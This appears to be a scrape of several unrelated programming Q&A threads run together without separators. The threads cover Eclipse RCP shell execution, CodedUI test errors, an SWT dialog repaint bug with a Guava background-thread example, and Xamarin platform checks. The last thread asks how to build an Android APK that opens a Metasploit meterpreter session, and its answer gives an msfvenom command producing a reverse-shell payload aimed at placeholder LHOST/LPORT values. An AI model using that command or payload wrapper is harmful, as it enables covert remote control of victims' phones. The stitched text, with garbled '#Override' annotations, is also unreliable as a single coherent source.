I am developing and application whithin eclipse rcp framework (3.0). I would like to create an Eclipse RCP command inside of the run menu that sends shell commands to windows cmd prompt.
How can I trigger it with an event?
public class RunCmd extends AbstractHandler {
#Override
public Object execute(ExecutionEvent event) throws ExecutionException {
// I need to get runtime exec
}
}
Sample code for executing Windows Command prompt.
There are different methods available for checking process executed properly
public class SampleHandler extends AbstractHandler {
public static final String ID = "com.example.views.play";
#Override
public Object execute(ExecutionEvent event) throws ExecutionException {
String command = "adb shell input key 26";
try
{
Process process = Runtime.getRuntime().exec(command);
} catch (IOException e)
{
e.printStackTrace();
}
return null;
}
}
I am getting this error despite setting the option "Set as startup project". My application is a web based (browser) application. I have tried all other options and it does not work. Please advise ?

Make sure to put 'CodedUI' and 'TestMethod' attributes in your test class and test methods, else you would get such error.
[CodedUITest]
public class CodedUITest1
{
[TestMethod]
public void CodedUITestMethod1()
{
BrowserWindow br = new BrowserWindow();
BrowserWindow.Launch("www.Google.com");
}
}
When opening a new dialog, while its loading, you click couple of times on parent shell, apparently the new dialog does not display correctly.
Please see the example below:

Initially I encountered the problem in december 2014, and back then also reported by vaious in house devlopers which were using different development systems and then same problem has been reported by our several customers.
This behavior can be reproduced using following environment:
Windows Version: 7 Pro 64 Bit - 6.1.7601
Java Version: RE 1.8.0_121_b13
SWT Versions
3.8.2
4.6.2
4.7M6
I20170319-2000
I could only reproduce the problem on Windows 7 with the windows basic theme/design/style (not with classic or aero).
On windows 10 its not reproducible.

steps to reproduce
Start the application
it should look like: https://i.stack.imgur.com/dMJ9e.png
Click on the button.
Keep continuously clicking on right bottom corner of the parent shell (avoid hitting the new opening dialog), till mouse cursor changes to wait icon and parent shell changes its color.
it should look as following: https://i.stack.imgur.com/c1Ikp.png
Wait until the new dialog appears.
it looks likes as following: https://i.stack.imgur.com/kTDgQ.png (incorrectly displayed)
instead: https://i.stack.imgur.com/cHVjn.png (correctly displayed)

When you mouse hover some of the UI elements (the originally not correctly drawn), you can notice some of them to be get painted (e.g. table rows).

https://i.stack.imgur.com/ZXIKc.png (after opening the dialog)
https://i.stack.imgur.com/25M7S.jpg (after mouse over)
Even calling Shell.update() or Shell.redraw() after the Dialog opened does not fix it.
In Windows Performance Options -> Visual Effects -> disable "Use visual styles on windows and buttons" is the only option I found which provides a workaround,
which seems to be the same as changing the design/theme/style to classic.

In the end, I have following questions:
Is it a SWT or Windows problem?
Is there any related topic in bug entries for Windows or in Eclipse Bugzilla?
Is there someone else who experienced the same problem? please share the experience.
Is there any settings in SWT or Windows which could affect its look n feel and fix the problem?
In the end, I have following questions: Is it a SWT or Windows problem?
Neither. As others have mentioned, you certainly should not tie up the UI thread with any long-running task. That work belongs in a background thread.
In regards to using a background thread, there are several ways you could go about this depending on how you want your Dialog to behave.
One option would be to kick off the background thread and then open the dialog when the task is done. I personally don't care for this because while the task is running, a user may think that nothing is happening.
Another option would be to open the dialog but display a "Loading" message, or something to that effect to give meaningful feedback and let a user know that the application isn't frozen (like how it looks/responds in your example).
The strategy would be to:
Create the dialog
Start the long task on a background thread and register a callback
Open the dialog with a "Loading" message
When the task is complete, the dialog will be updated from the callback
If you search around a bit on using Executors, you should find some far better examples and detail on how to use them.
Here's a brief example to illustrate what that might look like:
(Note: There are definitely a few issues with this code, but for the sake of brevity and illustrating the point I opted for a slightly naive solution. Also there are Java 8-esque ways that would be a bit shorter, but again, this illustrates the idea behind using a background thread; the same concepts apply)
Given a Callable (or Runnable if you don't need a return value),
public class LongTask implements Callable<String> {
#Override
public String call() throws Exception {
Thread.sleep(15000);
return "Hello, World!";
}
}
You can use the Executors class to create a thread pool, and then an ExecutorService to submit the Callable for execution. Then, using Futures.addCallback(), you can register a callback which will execute one of two methods depending on whether the task was successful or failed.
final ExecutorService threadPool = Executors.newFixedThreadPool(1);
final ListeningExecutorService executorService = MoreExecutors.listeningDecorator(threadPool);
final ListenableFuture<String> future = executorService.submit(new LongTask());
Futures.addCallback(future, new FutureCallback(){...});
In this case I used the Google Guava implementation ListeningExecutorService which makes things a bit cleaner and simpler, in my opinion. But again, you may not even need this if you opt for a more "Java 8" approach.
As for the callback, when the task is successful, we update the Dialog with the results. If it fails, we can update it with something to indicate failure:
public static class DialogCallback implements FutureCallback<String> {
private final MyDialog dialog;
public DialogCallback(final MyDialog dialog) {
this.dialog = dialog;
}
#Override
public void onSuccess(final String result) {
dialog.getShell().getDisplay().asyncExec(new Runnable() {
#SuppressWarnings("synthetic-access")
#Override
public void run() {
dialog.setStatus(result);
}
});
}
#Override
public void onFailure(final Throwable t) {
dialog.getShell().getDisplay().asyncExec(new Runnable() {
#SuppressWarnings("synthetic-access")
#Override
public void run() {
dialog.setStatus("Failure");
}
});
}
}
In this case I opted for the Callable to return a String, thus the FutureCallback should be parameterized with String. You may want to use some other class that you created, which will work just as well.
Notice that we use the Display.asyncExec() method to ensure that the code which updates the UI runs on the UI thread, because the callback may execute on the background thread.
Like I said, there are still a few issues here, including what happens when you click the cancel button before the task completes, etc. But hopefully this helps illustrate an approach for handling long-running background tasks without blocking the UI thread.
Full example code:
public class DialogTaskExample {
private final Display display;
private final Shell shell;
private final ListeningExecutorService executorService;
public DialogTaskExample() {
display = new Display();
shell = new Shell(display);
shell.setLayout(new GridLayout());
executorService = MoreExecutors.listeningDecorator(Executors.newFixedThreadPool(1));
final Button button = new Button(shell, SWT.PUSH);
button.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false));
button.setText("Start");
button.addSelectionListener(new SelectionAdapter() {
#SuppressWarnings("synthetic-access")
#Override
public void widgetSelected(final SelectionEvent e) {
final MyDialog dialog = new MyDialog(shell);
dialog.setBlockOnOpen(false);
dialog.open();
dialog.setStatus("Doing stuff...");
final ListenableFuture<String> future = executorService.submit(new LongTask());
Futures.addCallback(future, new DialogCallback(dialog));
}
});
}
public void run() {
shell.setSize(200, 200);
shell.open();
while (!shell.isDisposed()) {
if (!display.readAndDispatch()) {
display.sleep();
}
}
executorService.shutdown();
display.dispose();
}
public static void main(final String... args) {
new DialogTaskExample().run();
}
public static class DialogCallback implements FutureCallback<String> {
private final MyDialog dialog;
public DialogCallback(final MyDialog dialog) {
this.dialog = dialog;
}
#Override
public void onSuccess(final String result) {
dialog.getShell().getDisplay().asyncExec(new Runnable() {
#SuppressWarnings("synthetic-access")
#Override
public void run() {
dialog.setStatus(result);
}
});
}
#Override
public void onFailure(final Throwable t) {
dialog.getShell().getDisplay().asyncExec(new Runnable() {
#SuppressWarnings("synthetic-access")
#Override
public void run() {
dialog.setStatus("Failure");
}
});
}
}
public static class LongTask implements Callable<String> {
/**
* {#inheritDoc}
*/
#Override
public String call() throws Exception {
Thread.sleep(15000);
return "Hello, World!";
}
}
public static class MyDialog extends Dialog {
private Composite baseComposite;
private Label label;
/**
* #param parentShell
*/
protected MyDialog(final Shell parentShell) {
super(parentShell);
}
/**
* {#inheritDoc}
*/
#Override
protected Control createDialogArea(final Composite parent) {
baseComposite = (Composite) super.createDialogArea(parent);
label = new Label(baseComposite, SWT.NONE);
return baseComposite;
}
public void setStatus(final String text) {
label.setText(text);
baseComposite.layout();
}
}
}
The code seems to be straight forward, only that you are making the main Thread sleep for 15secs hence the delay. If not required remove the sleep or reduce the time for sleep to 5secs or so.
I'm trying to write automated tests using Xamarin UI Test, within certain parts of those tests I need to know which platform they are running on i.e. Android or iOS.
I'm struggling to find a way of doing this, does anyone know of an API to do this or any other such trick?
Your tests class have a constructor like this:
[TestFixture(Platform.Android)]
[TestFixture(Platform.iOS)]
public class Tests
{
IApp app;
Platform platform;
public Tests(Platform platform)
{
this.platform = platform;
}
[SetUp]
public void BeforeEachTest()
{
app = AppInitializer.StartApp(platform);
}
}
Later on, in you test method you could do this:
[Test]
public void MyTest()
{
if (platform == Platform.Android)
{
// Do specific code here.
}
}
I tried to create a custom android apk to open a meterpreter shell session on metasploit, but it's not working.
It connects to metasploit handler, but I don't have the meterpreter shell.
public static void startAsync() {
new Thread() {
#Override
public void run() {
// Execute the payload
Payload.main(null);
}
}.start();
}
the
.start()
is not in the code.
Someone have a completely working code?
Original Code
You can create an app with msfvenom to create the base and then decompile it with a program like apktool and make changes to that app
msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk
